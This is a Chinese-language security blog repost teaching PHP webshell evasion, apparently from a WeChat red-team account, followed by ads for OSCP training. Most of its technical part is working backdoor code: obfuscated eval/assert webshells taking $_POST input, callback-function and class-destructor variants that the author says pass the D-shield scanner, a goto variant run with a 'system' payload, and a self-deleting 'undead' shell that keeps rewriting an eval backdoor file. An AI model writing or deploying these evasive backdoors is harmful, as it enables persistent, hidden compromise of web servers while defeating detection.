初探webshell免杀的艺术

admin 2025年1月1日11:44:33评论12 views字数 11425阅读38分5秒阅读模式

前言

分享一篇我学弟写的文章:初探webshell免杀的艺术

原文地址:https://xz.aliyun.com/t/16968

往期推荐

14w+poc,nuclei全家桶:nuclei模版管理工具+Nuclei

红队武器库VulToolsKit全家桶:图形化页面+自己额外添加的一些工具

Apache Struts RCE (CVE-2024-53677),附多线程验证脚本+bp的poc

fscan全家桶:FscanPlus,fs,fscan适用低版本系统,FscanParser

自动爬取url地址,检测sql注入漏洞,sqlmc安装+使用

ctf综合利用工具,集成多款AI,94GB大小量大管饱:ctftools-all-in-one_proV2

文章

今天心血来潮,学习一下php的bypass

混淆加密

https://splitline.github.io/PHPFuck/

<?php
error_reporting(0);
((([]^[]).[][[]]^([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([].[])[([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]))(...((([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([].[])[([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]))((([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).((([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]).(([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])])).(([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])])))() ?>
初探webshell免杀的艺术
图片.png
初探webshell免杀的艺术
图片.png
初探webshell免杀的艺术
图片.png
初探webshell免杀的艺术
图片.png

php特性

字符串拼接

<?php
$a = implode("",['p','h','p','i','n','f','o','(',')']);
assert($a);
初探webshell免杀的艺术
图片.png
初探webshell免杀的艺术
图片.png
初探webshell免杀的艺术
图片.png

接下来写个马

$a = implode("",["e","v","a","l","(","$","_","P","O","S","T","[","'","a","'","]",")"]);
        assert($a);
初探webshell免杀的艺术
图片.png
初探webshell免杀的艺术
图片.png

初探webshell免杀的艺术都没报毒

替换

<?php
    $a = substr('aa',1).'s'.'s'.'e'.'r'.'t';
    $a($_POST['x']);
?>
初探webshell免杀的艺术
图片.png

初探webshell免杀的艺术加给反引号

<?php
$a=$_POST['x'];
$x=substr('aa',1).'ssert';
$x(`/***123***/`.$a);
?>
初探webshell免杀的艺术
图片.png
<?php
$a = strtr('abcdet','bcde','sser');
$a($_POST['x']);
?>
初探webshell免杀的艺术
图片.png
初探webshell免杀的艺术
图片.png

初探webshell免杀的艺术报毒了 加一个输出进去

<?php
$a = strtr('abcdet','bcde','sser');
echo $a;
$a($_POST['x']);
?>

初探webshell免杀的艺术发现降了一级 单独替换不好绕过,得配合一些回调函数,后面再说

<?php
    $a = substr_replace("asaaaa","sert",2);
    $a($_POST['x']);
?>
初探webshell免杀的艺术
图片.png

变量覆盖

使用$$覆盖变量

<?php
$x='a'.'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['x']);
?>

初探webshell免杀的艺术结合前面的替换函数

<?php
$x=substr('aa',1).'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['x']);
?>

初探webshell免杀的艺术降了一级

传参拼接

<?php
$a='a';
$b=$a.$_POST["b"];
$c = $_POST["c"];
$b($c);
?>
初探webshell免杀的艺术
图片.png

###base64编码

<?php
$x= substr('aa',1).'ssert';
$a=base64_decode($_POST['x']);
$x($a)
?>

初探webshell免杀的艺术###rot13参数编码

<?php
$x= 'assert';
$a=str_rot13($_POST['x']);
$x($a)
?>

初探webshell免杀的艺术###异或

<?php
$x= ('!'^'@').'ssert';
$a=base64_decode($_POST['x']);
$x($a)
?>
初探webshell免杀的艺术
图片.png

回调函数利用

call_user_func(最经典)
call_user_func_array
array_uintersect_assoc
array_map
array_filter
usort/uasort
uksort
array_walk
array_walk_recursive

array_uintersect_assoc

用法:

array array_uintersect_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func )
$array1: 第一个数组。
$array2: 第二个数组。
[array $...]: 可选参数,可以有多个数组参与交集运算。
callable $value_compare_func: 用户提供的回调函数,用来比较两个元素的值。

payload:

<?php
array_uintersect(array($_POST['x']), array(1),'assert');
初探webshell免杀的艺术
图片.png
初探webshell免杀的艺术
图片.png

call_user_func()

用法:

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
$callback: 必需。要调用的回调函数。可以是字符串形式的函数名、数组形式的对象方法(例如 [object, 'method'] 或者 ['class', 'staticMethod'])、或者是一个匿名函数。
$parameter: 可选。传递给回调函数的参数。你可以传递多个参数,每个参数依次对应回调函数中的参数。
<?php
call_user_func('assert',$_POST['x']);
?>
初探webshell免杀的艺术
图片.png

array_map

用法:

array array_map ( callable $callback , array $array1 [, array $... ] ) : array
$callback: 必需。要调用的回调函数,可以是任何有效的可调用PHP实体(如函数名、对象方法或匿名函数)。
$array1: 必需。要处理的第一个数组。
[array $...]: 可选。额外的数组,它们的元素会按顺序与第一个数组的元素一起传递给回调函数。
<?php
$e = $_REQUEST['a'];
$arr = array($_POST['x'],);
array_map($e, $arr);
?>
初探webshell免杀的艺术
图片.png
初探webshell免杀的艺术
图片.png

自定义函数

结合前面的绕过姿势来bypass

<?php
functionout($b){
return $b;
}
functioney($a){
    $x= ('!'^'@').'ssert';
return $x($a);
}
functionpost(){
return base64_decode($_POST['x']);
}

functionrun(){
return out(ey(out(post())));
}

run();

初探webshell免杀的艺术初探webshell免杀的艺术

<?php
functionout($b){
return $b;
}
functioney($a){
    $x= substr('aa',1).'ssert';
return $x($a);
}
functionpost(){
return base64_decode($_POST['x']);
}

functionrun(){
return out(ey(out(post())));
}

run();

初探webshell免杀的艺术初探webshell免杀的艺术

<?php
functionout($b){
return $b;
}
functioney($a){
    $x='a'.'s'.'s'.'e'.'r'.'t';
return $x($a);
}
functionpost(){
return base64_decode($_POST['x']);
}

functionrun(){
return out(ey(out(post())));
}

run();

初探webshell免杀的艺术初探webshell免杀的艺术

<?php
functionout($b){
return $b;
}
functioney($a){
    $x = substr_replace("asaaaa","sert",2);
return $x($a);
}
functionpost(){
return base64_decode($_POST['x']);
}

functionrun(){
return out(ey(out(post())));
}

run();

初探webshell免杀的艺术初探webshell免杀的艺术

到这里就能说明自定义函数,加上之前的绕过手法已经随便过D盾了

类+回调函数

<?php
classB{

publicfunction__destruct()
{
$B=$_POST['x'];
array_uintersect_assoc(array($B), array(1),'assert');
}

}
$obj = new B();

初探webshell免杀的艺术
图片.png

初探webshell免杀的艺术初探webshell免杀的艺术

create_function函数

<?php
classB{

publicfunction__destruct()
{
    $b=$this->name;
$a=$_POST['x'];
echo $b;
echo $a;
    $a('', $b);
}
publicfunction__construct($name)
{
$this->name = $name;
echo $name;
}

}
$obj = new B($_POST['e']);
初探webshell免杀的艺术
图片.png

初探webshell免杀的艺术初探webshell免杀的艺术

写的都比较简单,师傅们可以再拓展一下

goto+回调函数

goto介绍:
它允许代码无条件地跳转到同一个函数、方法或脚本中的另一个标签处继续执行。使用goto可以简化某些类型的控制结构,例如复杂的循环或条件逻辑。

以下是goto语句的一些关键点:

标签:goto语句需要指定一个目标标签。标签是任意的标识符后跟冒号(:)。例如,myLabel:定义了一个名为myLabel的标签。
跳转:goto语句后面跟着要跳转到的标签名。当执行到goto语句时,程序会立即跳转到指定的标签处并从那里继续执行。
限制:goto不能用于跳转到不同的函数或方法内部。它只能用于跳转到当前作用域内的标签。
注意事项:滥用goto可能会导致代码难以阅读和维护,因为它打破了正常的控制流。因此,在大多数情况下,应该优先考虑使用更清晰的控制结构如循环和条件语句。

举例代码:

<?php
goto a;
echo'Foo';
a:
echo'Bar';
?>

这段代码将输出Bar,而不会输出Foo,因为goto a;语句使得执行直接跳转到了标签a:的位置。
结合回调函数构造:

<?php
// 设置响应头为UTF-8以确保兼容性
header("Content-Type: text/html; charset=utf-8");

// 开启错误报告,在开发环境中应该配置为仅记录错误而不显示给用户
ini_set('display_errors', 0);
error_reporting(E_ALL);

// 定义一个安全处理函数调用的方法
function safeCall($func$param = null) {
if (is_callable($func)) {
return call_user_func($func$param);
    }
returnfalse;
}

test4:
// 禁用错误报告(在实际应用中不推荐)
error_reporting(0);

goto test1;

test2:
// 获取并验证参数$m$o
$m = isset($_GET['m']) ? $_GET['m'] : null;
$o = isset($_GET['o']) ? $_GET['o'] : null;

if ($m === null) {
print('NO');
else {
    // 检查是否可以安全地调用$m$o
    safeCall($m$l);
    safeCall($o);
}
goto test3;

test1:
// 获取并验证参数$x
$l = isset($_GET['x']) ? $_GET['x'] : '';
if ($l !== '') {
    // 验证base64编码
$l = base64_decode($ltrue);
if ($l === false) {
        // 如果解码失败,跳转到错误处理部分
        goto error;
    }
else {
    // 如果$x为空或未提供,跳转到错误处理部分
    goto error;
}
goto test2;

test3:
goto test4;

error:
// 错误处理
echo'Error: Invalid input.';
exit;
?>

payload:

?x=aXBjb25maWc=&m=system

免杀效果:
初探webshell免杀的艺术

初探webshell免杀的艺术

不死马

<?php
    ignore_user_abort(true);//函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行
    set_time_limit(0);//函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制
    unlink(__FILE__);//删除文件本身,以起到隐蔽自身的作用
    $file = 'xxx.php';//写入的后门文件名
    $code='<?php @eval($_POST[a]);?>';//恶意代码
while(1){//一直循环
        file_put_contents($file,$code);
        usleep(5000);//循环内每隔usleep(5000),写新的后门文件
    }
?>

初探webshell免杀的艺术code参数那可以自己添加恶意代码 这个马当你访问以后就会自动删除,开始无限写文件,这根本删不完,再结合前面的bypass是很不错的

总结

后门查杀通常是使用正则表达式来进行静态匹配,而绕过大量已有正则的覆盖,就能实现免杀的效果,自己学会变换的核心原理,就能实现真正意义上的免杀。

oscp+培训福利

团购优惠

官方的oscp+有团购优惠,10人组团可以打8折优惠,我们对标官方,也有组团优惠活动。

原价4000,学生认证可减500

现在两人组团每人减100,三人组队每人减200,四人组团每人减300,五人组团每人减400(也就是打9折),10人组团打8折

并且之后官方报名的时候,可以联系大陆官方负责人给学员进行10人团购,oscp目前价格是1649美元,并且马上就要涨价了。打8折优惠,目前可以便宜329.8美元,2400多块。要是在报上我们的10人团购。3200-2400=800,也就是只需要花费800不到的费用就能享受 7年红队经验,在职红队队长带领培训oscp+,并且是永久学习,可以无限学习下一期当然了也可以自己去凑团购,不过凑10个人还有有难度的,我们人多所以好凑很多

还有更多的限时福利,看下面

今年就这一次机会,过年趁着别人都在娱乐的时候,趁此机会弯道超车。让基友对你的飞速进步发出惊叹,让曾经的同事对你的专业素养投来羡慕的目光。

在你还在犹豫是否要报名OSCP的时候,别人已经行动了,在学习完oscp培训和泷羽sec的红队全栈课后,去考OSCP拿下竞争力,别人月入过几万了而你却还在为没有能力证明和没有工作而发愁,那为什么不行动起来呢?4000的价格比外面培训低了一半多,在加活动更低,也就这一次机会,后面都不会有了,就明年的这个时候才考虑举办。

限时元旦惊喜

1、好友组队全款报名可两人每人减100,三人每人减200,四人每人减300。五人打九折,十人打 八折

2、帮会的原价199,现价99入会门票,活动期间报销99加入帮会的费用享有后续更新的所有的工具资料

oscp课程日常惊喜:

1、报名一次oscp培训即可无限学习下一期,下下一期,学到你会再去考试oscp

2、学生党想找工作的或者上班的想换工作的学完oscp可以找泷羽sec推荐(自己有技术实力就行)

3、4000培训费用证明学生,可以分期,无利息,还优惠500

4、拥有CISSP、OSCP、OSEP等多项专家认证的在职高级红队泷老师的就业方向指导

5、感兴趣的师傅们可以先找我咨询,这个活动预热三天,我可以给你们组团报名,更加优惠,扫下面的码加我好友即可咨询

在元旦当天可免费占位到大年初四也就是2月1日。时间过期占位无效

活动时间:1月1日活动当天初探webshell免杀的艺术

往期推荐

14w+poc,nuclei全家桶:nuclei模版管理工具+Nuclei

红队武器库VulToolsKit全家桶:图形化页面+自己额外添加的一些工具

Apache Struts RCE (CVE-2024-53677),附多线程验证脚本+bp的poc

fscan全家桶:FscanPlus,fs,fscan适用低版本系统,FscanParser

自动爬取url地址,检测sql注入漏洞,sqlmc安装+使用

ctf综合利用工具,集成多款AI,94GB大小量大管饱:ctftools-all-in-one_proV2

可以加入一下我们的帮会,是真正的红队大佬创建的,里面会定时丢些网上没有的工具(比如安卓远控7.4,不过现在已经删除了,有时限,加入的记得看好时间),除了这个:还有大量的poc、渗透工具、渗透课程、实战案例等等。现在只要99就可以终身,后面人多了就会涨价了

初探webshell免杀的艺术

大量的付费课程

初探webshell免杀的艺术
初探webshell免杀的艺术

一些工具,二开的网恋避险工具(不清楚的可以去搜一下,黑客网络避险工具),还有大量内部整理POC合集

初探webshell免杀的艺术
初探webshell免杀的艺术

我们红队全栈公益课链接:https://space.bilibili.com/350329294

原文始发于微信公众号(泷羽Sec-尘宇安全):初探webshell免杀的艺术

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月1日11:44:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   初探webshell免杀的艺术https://cn-sec.com/archives/3578395.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息